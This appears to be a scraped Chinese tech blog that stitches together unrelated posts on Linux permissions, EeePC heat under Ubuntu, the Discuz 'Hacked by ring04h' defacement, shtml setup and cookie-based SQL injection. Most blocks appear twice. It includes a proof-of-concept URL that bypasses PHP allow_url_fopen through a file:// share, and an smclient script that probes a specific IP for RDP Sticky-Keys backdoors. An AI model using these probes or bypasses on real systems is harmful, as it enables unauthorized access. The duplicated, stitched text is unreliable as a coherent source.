今天才发现在Linux和Unix下对目录来说，x位意味着搜索和访问目录，与文件的x完全不同。 具体来说对于一个存放网站的目录，所有者应该设置成与apache相同的用户名和所属组（一般是www），文件所有者的权限应该设置为1即可，这样网站既可以访问，而且使用webshell没法对当前目录列表或者遍历。 一直都错误地将文件夹的r权限理解为列表访问，现在才知道是对于目录x才意味着搜索和访问目录，汗啊…………
chmod 后的文件权限数字mod是八进制，这样正好只要四位八进制就可以表示一个文件或目录的所有权限了。
如0400====000 100 000 000 b 文件属主可读
最高一位可以不大管它，主要是设置u位的。
计算权限值的方法：
------------------------------------------------------------------
| 文件属主 | 同组用户 | 其他用户 |
------------------------------------------------------------------
| r w x r w x r w x |
| 4+ 2 + 1 4+2 + 1 4 + 2 + 1 |
------------------------------------------------------------------
这样就简单
chmod 后的文件权限数字mod是八进制，这样正好只要四位八进制就可以表示一个文件或目录的所有权限了。
如0400====000 100 000 000 b 文件属主可读
最高一位可以不大管它，主要是设置u位的。
计算权限值的方法：
------------------------------------------------------------------
| 文件属主 | 同组用户 | 其他用户 |
------------------------------------------------------------------
| r w x r w x r w x |
| 4+ 2 + 1 4+2 + 1 4 + 2 + 1 |
------------------------------------------------------------------
这样就简单
用过Ubuntu的EeePC机友都会发现，小E在跑Ubuntu的时候几乎是不到几分钟底座就非常的烫，相对于Windows系统这个发热量可以算是出奇的大了。
可能就是因为这个巨大的发热量的原因，很多机友都放弃了在EeePC上使用Ubuntu的念头，一方面是因为发热量，另一方面也是为小E的寿命着想——毕竟莫名其妙那么大的发热量让人心里很不安。
回过头来我仔细想一下，我的EeePC 1000HE从硬件方面来能耗应该是非常低的了，为什么在Windows下发热量那么小，而在Ubuntu下发热量那么高呢。探寻一下发热来源，主要是来自硬盘
想想Ubuntu对内存的管理机制，我大概知道了为什么EeePC 1000HE在用Ubuntu的时候发热量会那么高，一看系统监视器发现swap里面居然驻留了200M的数据，果然如此：
Ubuntu放着好端端的物理内存不用，一个劲地啃在硬盘上的Swap分区，非固态硬盘是1000HE最大的热量来源！
可能就是因为这个巨大的发热量的原因，很多机友都放弃了在EeePC上使用Ubuntu的念头，一方面是因为发热量，另一方面也是为小E的寿命着想——毕竟莫名其妙那么大的发热量让人心里很不安。
回过头来我仔细想一下，我的EeePC 1000HE从硬件方面来能耗应该是非常低的了，为什么在Windows下发热量那么小，而在Ubuntu下发热量那么高呢。探寻一下发热来源，主要是来自硬盘
想想Ubuntu对内存的管理机制，我大概知道了为什么EeePC 1000HE在用Ubuntu的时候发热量会那么高，一看系统监视器发现swap里面居然驻留了200M的数据，果然如此：
Ubuntu放着好端端的物理内存不用，一个劲地啃在硬盘上的Swap分区，非固态硬盘是1000HE最大的热量来源！
昨天全国上下各大使用Discuz论坛程序的论坛 几乎都遭遇了“Hacked by ring04h, just for fun”的洗礼
被攻击后的论坛首页只剩下这一行“Hacked by ring04h, just for fun”
初步了解了一下事情的经过 ring04h是邪恶八进制的资深人士
先抛开这此相关的攻击事件是否真的与ring04h有关 因为今年与去年有关“Hacked by ring04h, just for fun”的事件已经成千上万了…………（不了解的自己百度一下Hacked by ring04h, just for fun）
下面就个人观点谈谈这次“Hacked by ring04h, just for fun!”事件的看法
首先在网上搜到了相关的漏洞说明
以下为ring04h写的php allow_url_fopen bypass 漏洞说明：
URL file-access is disabled
index.php
<?php
include $path."config/config.inc.php";
c:\config\config.inc.php
<?php
phpinfo();
POC:http://www.*****.org/index.php?path=file:///\\127.0.0.1\C$\
net share:
C$ C:\
通过Windows file协议访问网络文件，成功bypass allow_url_fopen
经过测试，Linux同样也可以通过系统自带协议bypass allow_url_fopen
所谓的 资源->协议
一开始看到这些东西
还真以为是利用了什么新的手段 达到了所谓的 程序》资源》协议 式攻击的程度
貌似看上去是通过所谓的windows的共享模式管理导致的写数据问题问题 导致最终首页的seo相关头部变量被替换成“Hacked by ring04h, just for fun”的值，想到这里都有些小兴奋，以为八进制那边能从所谓的共享方面做出了一些手脚。接下来大面积网络搜索相关信息，发现原来是一场闹剧，这次所谓的 “Hacked by ring04h, just for fun!”事件只是Discuz官方的一个升级域名被劫持导致的。。。
换言之，虽然去年和今年之前有关“Hacked by ring04h, just for fun!”攻击事件或许的确与相关Discuz或者PW的程序的未公布的漏洞有关，但这次“Hacked by ring04h, just for fun!”事件并不是Discuz程序的问题，也不是WIndows系统共享方面管理的问题，仅仅是一个所谓泛旁注的域名劫持+广大站长人云亦云产生的闹剧。。。
以下是官方的声明
原文见http://www.discuz.net/thread-1184256-1-1.html
所以网上的消息最多只能听信70%，就像看到CB上每天报道那么多乱七八糟的事情，其实具体的事情原由还需要通过自己去了解，去判断，去伪存真才能不因为人云亦云而让真相含雪。。。
被攻击后的论坛首页只剩下这一行“Hacked by ring04h, just for fun”
初步了解了一下事情的经过 ring04h是邪恶八进制的资深人士
先抛开这此相关的攻击事件是否真的与ring04h有关 因为今年与去年有关“Hacked by ring04h, just for fun”的事件已经成千上万了…………（不了解的自己百度一下Hacked by ring04h, just for fun）
下面就个人观点谈谈这次“Hacked by ring04h, just for fun!”事件的看法
首先在网上搜到了相关的漏洞说明
以下为ring04h写的php allow_url_fopen bypass 漏洞说明：
引用
URL file-access is disabled
index.php
<?php
include $path."config/config.inc.php";
c:\config\config.inc.php
<?php
phpinfo();
POC:http://www.*****.org/index.php?path=file:///\\127.0.0.1\C$\
net share:
C$ C:\
通过Windows file协议访问网络文件，成功bypass allow_url_fopen
经过测试，Linux同样也可以通过系统自带协议bypass allow_url_fopen
所谓的 资源->协议
一开始看到这些东西
还真以为是利用了什么新的手段 达到了所谓的 程序》资源》协议 式攻击的程度
貌似看上去是通过所谓的windows的共享模式管理导致的写数据问题问题 导致最终首页的seo相关头部变量被替换成“Hacked by ring04h, just for fun”的值，想到这里都有些小兴奋，以为八进制那边能从所谓的共享方面做出了一些手脚。接下来大面积网络搜索相关信息，发现原来是一场闹剧，这次所谓的 “Hacked by ring04h, just for fun!”事件只是Discuz官方的一个升级域名被劫持导致的。。。
换言之，虽然去年和今年之前有关“Hacked by ring04h, just for fun!”攻击事件或许的确与相关Discuz或者PW的程序的未公布的漏洞有关，但这次“Hacked by ring04h, just for fun!”事件并不是Discuz程序的问题，也不是WIndows系统共享方面管理的问题，仅仅是一个所谓泛旁注的域名劫持+广大站长人云亦云产生的闹剧。。。
以下是官方的声明
引用
1月8日11:38分，部分站长发现论坛首页出现“Hacked by ring04h, just for fun!”的提示。针对用户反馈，康盛创想官方立即组织技术人员对论坛程序进行安全排查，并未发现相关站点的程序漏洞。
11:54分，官方安全部门发现站点 http://customer.discuz.net 域名被劫持，指向一台攻击者控制的服务器(203.86.236.236)。Customer 站点是 Discuz! 用于发送论坛补丁和安全补丁通知的紧急接口。黑客首先利用 Discuz.net 域名服务商的漏洞，登陆并修改了 Customer 的域名地址，并事先写好了一段攻击代码存放在一台服务器上。当站长登陆进入论坛后台首页时，由于论坛通知服务器的域名被劫持到新服务器上，从而使得攻击代码运行，模仿站长的身份，提交并修改了论坛的 seo 设置。从而造成论坛无法正常访问。
官方立即修改被劫持域名。11:55分，被劫持域名的重新定向工作完成。
12:15分，官方论坛发放恶意代码清除方法和工具（http://www.discuz.net/thread-1183991-1-1.html）。
本次事件仅涉及到域名劫持期间登陆管理后台的站点，Discuz.net 官方论坛和绝大多数论坛未受影响。
同时，受影响站点也可以采用手工修复的方法清楚恶意代码。您可以进入管理后台-全局设置-优化设置-搜索引擎优化，查找代码
1. <script>function init() { document.write('Hacked by ring04h, just for fun!');}window.onload = init;</script>
复制代码
然后手工去掉此段代码，论坛即可恢复正常访问。
域名是互联网基础服务，本次安全问题系由域名劫持造成，Discuz! 各版本软件代码在安全上并无问题，故 Discuz! 官方除了发布恢复方法及恢复工具以外并没有新的补丁发布。
11:54分，官方安全部门发现站点 http://customer.discuz.net 域名被劫持，指向一台攻击者控制的服务器(203.86.236.236)。Customer 站点是 Discuz! 用于发送论坛补丁和安全补丁通知的紧急接口。黑客首先利用 Discuz.net 域名服务商的漏洞，登陆并修改了 Customer 的域名地址，并事先写好了一段攻击代码存放在一台服务器上。当站长登陆进入论坛后台首页时，由于论坛通知服务器的域名被劫持到新服务器上，从而使得攻击代码运行，模仿站长的身份，提交并修改了论坛的 seo 设置。从而造成论坛无法正常访问。
官方立即修改被劫持域名。11:55分，被劫持域名的重新定向工作完成。
12:15分，官方论坛发放恶意代码清除方法和工具（http://www.discuz.net/thread-1183991-1-1.html）。
本次事件仅涉及到域名劫持期间登陆管理后台的站点，Discuz.net 官方论坛和绝大多数论坛未受影响。
同时，受影响站点也可以采用手工修复的方法清楚恶意代码。您可以进入管理后台-全局设置-优化设置-搜索引擎优化，查找代码
1. <script>function init() { document.write('Hacked by ring04h, just for fun!');}window.onload = init;</script>
复制代码
然后手工去掉此段代码，论坛即可恢复正常访问。
域名是互联网基础服务，本次安全问题系由域名劫持造成，Discuz! 各版本软件代码在安全上并无问题，故 Discuz! 官方除了发布恢复方法及恢复工具以外并没有新的补丁发布。
原文见http://www.discuz.net/thread-1184256-1-1.html
所以网上的消息最多只能听信70%，就像看到CB上每天报道那么多乱七八糟的事情，其实具体的事情原由还需要通过自己去了解，去判断，去伪存真才能不因为人云亦云而让真相含雪。。。
众所周知用于3389的SHIFT后门极少
而且大部分SHIFT后门都加密
所以手工一个一个尝试是挺傻的，写成自动扫描的话，还能让人忍受
而且大部分SHIFT后门都加密
所以手工一个一个尝试是挺傻的，写成自动扫描的话，还能让人忍受
引用
smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d
shift_backdoor.txt：
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
sleep(2000);
disconnect();
}
shift_backdoor.txt：
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
sleep(2000);
disconnect();
}
Intel - PRO/Wireless 2200BG Network Connection，虽然这个漏洞公布有些时日了，但现在还有很多本子内置的都是这个型号的无线网卡，赶紧升级吧..比如去年我就把内置的拆了，改用外置无线网卡，嘿嘿。
另外，这个攻击代码已被添加到Metasploit里，有兴趣的朋友可以回去测试一下，下面是发布在milw0rm的参考源代码
另外，这个攻击代码已被添加到Metasploit里，有兴趣的朋友可以回去测试一下，下面是发布在milw0rm的参考源代码
好早前就发现用FireFox浏览器打开shtml后缀的网页（如学校网站：http://www.ecjtu.jx.cn），显示的都是源代码，但是用IE内核的浏览器浏览确实正常的，遇到这种情况怎么办呢？
其实这是FireFox遇到无法解析的后缀名字的一点类脑残行为，网站方可以通过在服务器上进行一些设置来解决这个问题：
下面介绍一下在各操作系统下或者说个版本IIS和Apache下配置shtml的方法：
1、在IIS5下配置shtml
IIS5一般存在于Windows 2000操作系统中，方法就是添加一个“应用程序扩展名映射”。
用程序“C:\WINDOWS\system32\inetsrv\ssinc.dll”来对应扩展名“shtml/shtm”就可以了。
2、在IIS6下配置shtml
IIS6一般存在于Windows 2003操作系统中，其实在IIS6已经默认支持shtml扩展名了。在 开始 -> 管理工具 -> Internet信息服务管理器 -> WEB服务扩展 -> 选择“在服务器端的包含文件” -> 设置为“允许”，然后打开“本地计算机”的属性 -> MIME类型 -> 新建后缀名：.shtml和.shtm、MIME类型：text/html就可以了。
3、在Apache下配置shtml
用文本编辑器打开httpd.conf文件
去掉
#AddType text/html .shtml
#AddOutputFilter INCLUDES .shtml
前面的注释#号
在Apache 2.0.6版本之前，添加
AddOutputFilter INCLUDES .shtml
在Apache 2.0.6版本之后
修改Options Indexes FollowSymLinks为
Options Indexes FollowSymLinks Includes
一般来说，FireFox下浏览shtml文件是源代码是因为“AddType text/html”配置的错误，只要按照上面的各种方法进行配置，就不会出现以上的问题了！
现在终于可以正常访问了吧
PS:shtml其实就是生成静态页的时候生成的后辍而已。。。。。
其实这是FireFox遇到无法解析的后缀名字的一点类脑残行为，网站方可以通过在服务器上进行一些设置来解决这个问题：
下面介绍一下在各操作系统下或者说个版本IIS和Apache下配置shtml的方法：
1、在IIS5下配置shtml
IIS5一般存在于Windows 2000操作系统中，方法就是添加一个“应用程序扩展名映射”。
用程序“C:\WINDOWS\system32\inetsrv\ssinc.dll”来对应扩展名“shtml/shtm”就可以了。
2、在IIS6下配置shtml
IIS6一般存在于Windows 2003操作系统中，其实在IIS6已经默认支持shtml扩展名了。在 开始 -> 管理工具 -> Internet信息服务管理器 -> WEB服务扩展 -> 选择“在服务器端的包含文件” -> 设置为“允许”，然后打开“本地计算机”的属性 -> MIME类型 -> 新建后缀名：.shtml和.shtm、MIME类型：text/html就可以了。
3、在Apache下配置shtml
用文本编辑器打开httpd.conf文件
去掉
#AddType text/html .shtml
#AddOutputFilter INCLUDES .shtml
前面的注释#号
在Apache 2.0.6版本之前，添加
AddOutputFilter INCLUDES .shtml
在Apache 2.0.6版本之后
修改Options Indexes FollowSymLinks为
Options Indexes FollowSymLinks Includes
一般来说，FireFox下浏览shtml文件是源代码是因为“AddType text/html”配置的错误，只要按照上面的各种方法进行配置，就不会出现以上的问题了！
现在终于可以正常访问了吧
PS:shtml其实就是生成静态页的时候生成的后辍而已。。。。。
现在很多网站都加了防注入系统代码，你输入注入语句将无法注入~~
感觉这样的防注入系统不错，但防注入系统没有注意到 Cookies 的问题！
所以就有了Cookies注入~~
我们来研究一下怎样情况下才会有Cookies注入!
如果你学过ASP
你应该会知道 Request.QueryString (GET) 或 Request.Form (POST)!
呵，没错，这就是我们用于读取用户发给WEB服务器的指定键中的值!
我们有时为了简化代码，会写成
ID=Request("ID")
这样写法是简单了，但问题就来了~~~
我们先看WEB服务是怎样读取数据的,他是先取GET中的数据，没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道~~看来书说的不全~~)
感觉这样的防注入系统不错，但防注入系统没有注意到 Cookies 的问题！
所以就有了Cookies注入~~
我们来研究一下怎样情况下才会有Cookies注入!
如果你学过ASP
你应该会知道 Request.QueryString (GET) 或 Request.Form (POST)!
呵，没错，这就是我们用于读取用户发给WEB服务器的指定键中的值!
我们有时为了简化代码，会写成
ID=Request("ID")
这样写法是简单了，但问题就来了~~~
我们先看WEB服务是怎样读取数据的,他是先取GET中的数据，没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道~~看来书说的不全~~)
